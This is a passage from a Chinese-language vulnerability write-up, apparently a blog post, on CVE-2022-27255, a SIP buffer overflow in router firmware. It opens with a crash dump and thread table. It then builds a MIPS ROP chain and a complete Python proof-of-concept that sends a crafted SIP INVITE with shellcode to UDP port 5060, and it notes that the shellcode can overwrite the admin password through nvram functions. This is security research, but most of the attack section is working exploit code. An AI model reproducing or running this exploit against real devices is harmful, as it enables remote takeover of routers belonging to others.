[<11110017>] [<801d2b78>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<11110010>] [<801d2b4c>]
[<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>]
[<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>] [<deadbeef>]
Thread Network support (tid: 3), CurPri: 7, SetPri: 7
Stack Base: 0x81dae3b0, Size: 0x4000, Used: 0xe50
---------- -- ------ ---------------------- -- -- ---------- ---------- ----------
Handle ID State Name SP CP Stack Base Stack Size Stack Used
---------- -- ------ ---------------------- -- -- ---------- ---------- ----------
0x80471030 22 EXIT led_time_check 8 8 0x80471128 0x00001000 0x00000788
0x80472130 23 SLEEP switch_led 8 8 0x80472228 0x00001000 0x00000708
0x8044b190 36 EXIT run_sh0 7 7 0x8044b288 0x00004000 0x000008b0
0x8044fd10 34 EXIT run_sh1 7 7 0x8044fe08 0x00004000 0x000008d8
0x80473488 28 SLEEP dhcpc_eth1 8 8 0x80473580 0x00002800 0x00001690
0x81de1ed0 25 SLEEP wsc_upnp 16 16 0x81dea380 0x00001800 0x0000043c
0x81db4450 2 SLEEP Network alarm support 5 5 0x81db4548 0x00004000 0x0000115c
0x81dae2b8 3 RUN Network support 7 5 0x81dae3b0 0x00004000 0x00000e68
0x808fd0d4 4 SUSP pthread.00000800 15 15 0x808fd1d8 0x00001eac 0x0000018c
0x808fc180 1 RUN Idle Thread 31 31 0x808fc278 0x00000800 0x00000440
0x80444718 7 SLEEP main 8 8 0x80444814 0x00004000 0x000011f4
0x81e103d8 8 SLEEP Cleanup Thread 5 5 0x81e104f8 0x00001000 0x00000168
0x8047cdd0 9 SLEEP cli console 8 8 0x80478dcc 0x00004000 0x00000a14
0x8046e708 10 SLEEP cloud_manufacturer 9 9 0x8046e804 0x00002800 0x00001b9c
0x8049b048 11 SLEEP httpd_main 6 6 0x8049b140 0x00008000 0x00001074
0x81dd0f10 29 SLEEP IGD 8 8 0x81ddded0 0x00004000 0x00000a50
0x81de7288 35 SLEEP DNS daemon 9 9 0x80487a9c 0x00003000 0x0000096c
0x81dc2f28 14 SLEEP SNTP 8 8 0x81dc3024 0x00001000 0x00000764
0x81dccef0 15 SLEEP DHCP_server 8 8 0x80475da8 0x00003000 0x00000de8
0x804542d0 16 SLEEP wan_surfing_check 8 8 0x804543c8 0x00002000 0x00000c30
0x804603f8 17 SLEEP auto_conn_server 8 8 0x804604f0 0x00002000 0x000001a8
0x804685f8 18 SLEEP wps 8 8 0x804686f0 0x00006000 0x00000e6c
0x804624f8 19 SLEEP iw 16 16 0x804625f0 0x00006000 0x00steer_update_bss_info: isdown(1)
2. 4G close!!! But enable_wifi_LED
steer_update_bss_info: isdown(1)
test sta_steer_exit(581)
--- STA STEERING EXIT ---

成功触发重启。并且多次触发后发现:

SP的值稳定在0x81db2010处,所以栈地址的值确实是不变的,并且这个sp是触发异常时的值,也就是应该是在漏洞函数返回后的值,但是还是不很确定,再调试一下:

把poc的payload部分修改为strcpy+shellcode的形式,栈地址暂时设置为0x81db2010测试:

Python
STRCPY_ADDR = 0x801d77f0
GADGET_WRITE_WHAT_WHERE = 0x800fb58c
GADGET_LOAD_A1_A0 = 0x8007aad8
GADGET_JALR_T8_A0_S0 = 0x801165a4
ROP_SCRATCH_ADDR = 0x83101010
a0 = 0xA1db2010
a1 = 0x81db2010

def build_rop_stack(src_addr, copy_addr, code_blob):
    stack = b"a" * 180
    stack += p32(ROP_SCRATCH_ADDR) + b"1111" + b"2222" + b"3333"
    stack += b"4444" + b"5555" + b"6666" + b"7777" + b"fpfp"
    stack += p32(GADGET_WRITE_WHAT_WHERE) # RA=0x81db200c
    stack += b"aaaa" * 8 + p32(STRCPY_ADDR) + b"aaaa" + b"ssss"
    stack += p32(GADGET_LOAD_A1_A0)
    stack += b"aaaa" * 7 + p32(src_addr) + p32(copy_addr)
    stack += p32(GADGET_JALR_T8_A0_S0)
    stack += b"aaaa" * 6 + p32(0x81db2010) + p32(copy_addr) + code_blob
    stack += SIP_HEADER_END
    return stack

code_blob = bytes.fromhex(
    "ffffffff"
)

得到崩溃信息:

发现成功触发了0xa1db2010这个在kseg1处的地址,证明shellcode确实被写入并且被执行了。同时注意现在SP的值为0x81db2088。结合前面的sp值:

Text
0x81db2088 - 0x81db2010 = 0x78

0x78恰好就是
stack += b"aaaa" * 8 + p32(STRCPY_ADDR) + b"aaaa" + b"ssss"
stack += p32(GADGET_LOAD_A1_A0)
stack += b"aaaa" * 7 + p32(src_addr) + p32(copy_addr)
stack += p32(GADGET_JALR_T8_A0_S0)
stack += b"aaaa" * 6 + p32(0x81db2010) + p32(copy_addr)

这个的长度,这也就说明,0x81db2088就是在这个payload之后的地址,即code_blob的地址。

现在我们终于得到了栈上的地址,可以开始写完整的poc了:

Python
#!/usr/bin/env python3
import socket
import struct
import sys

DST_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
DST_PORT = 5060
SRC_PORT = 5060

def p32(x):
    return struct.pack("<I", x & 0xffffffff)

SIP_HEADER_END = b"\r\n\r\n"
STRCPY_ADDR = 0x801d77f0
GADGET_WRITE_WHAT_WHERE = 0x800fb58c
GADGET_LOAD_A1_A0 = 0x8007aad8
GADGET_JALR_T8_A0_S0 = 0x801165a4
ROP_SCRATCH_ADDR = 0x83101010
a0 = 0xA1db2088
a1 = 0x81db2088

def build_rop_stack(src_addr, copy_addr, code_blob):
    stack = b"a" * 180
    stack += p32(ROP_SCRATCH_ADDR) + b"1111" + b"2222" + b"3333"
    stack += b"4444" + b"5555" + b"6666" + b"7777" + b"fpfp"
    stack += p32(GADGET_WRITE_WHAT_WHERE) # RA=0x81db200c
    stack += b"aaaa" * 8 + p32(STRCPY_ADDR) + b"aaaa" + b"ssss"
    stack += p32(GADGET_LOAD_A1_A0)
    stack += b"aaaa" * 7 + p32(src_addr) + p32(copy_addr)
    stack += p32(GADGET_JALR_T8_A0_S0)
    stack += b"aaaa" * 6 + p32(0x81db2088) + p32(copy_addr) + code_blob
    stack += SIP_HEADER_END
    return stack

code_blob = bytes.fromhex(
    "ffff042c11118424f0ee8424ffff052cffff062cffffc624"
    "1e80193c3006393709f82003ffff5a27"
    "11115024efee1026"
    "1001b127"
    "115c083c13010835effe0825100128ae"
    "11110824afef0825140128a2"
    "1111082497ef0825150128a2"
    "160120a2"
    "1111082453ef0825170128a2"
    "180120ae1c0120ae"
    "11110426efee842410012526ffff062c1111c624feeec624"
    "1e80193c1111393773f9392709f82003ffff5a27"
    "ffffffff"
)
assert b"\x00" not in code_blob
assert b"\r" not in code_blob and b"\n" not in code_blob
overflow = build_rop_stack(a1, a0, code_blob)
sip = (
    b"INVITE sip:admin@192.168.1.100 SIP/2.0" + overflow + b"\r\n"
    b"Via: SIP/2.0/UDP 192.168.0.100:5060;branch=1234567P\r\n"
    b"Content-Length: 0\r\n"
    b"\r\n"
)
print(f"target: {DST_IP}:{DST_PORT}")
print(f"payload length: {len(sip)}")
print(f"stack length: {len(overflow)}")
print(f"shellcode length: {len(code_blob)}")
print(f"rop src: 0x{a1:08x}, copy addr: 0x{a0:08x}")
print("expected: UART v0 is connect() return value: 0 success, 0xffffffff failure")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", SRC_PORT))
s.sendto(sip, (DST_IP, DST_PORT))
s.close()
print("sent")

得到:

成功执行到了末尾设置的”ffffffff”。

最后在shellcode里使用nvram_set和nvram_commit两个函数也可以成功进行了密码的修改:

需要注意的是shellcode的密码字段需要用base64编码。

END


CVE-2022-27255 漏洞分析
http://whi4ed0g.xyz/2026/07/01/CVE-2022-27255-analysis/index/
作者
whi4ed0g
发布于
2026年7月1日
许可协议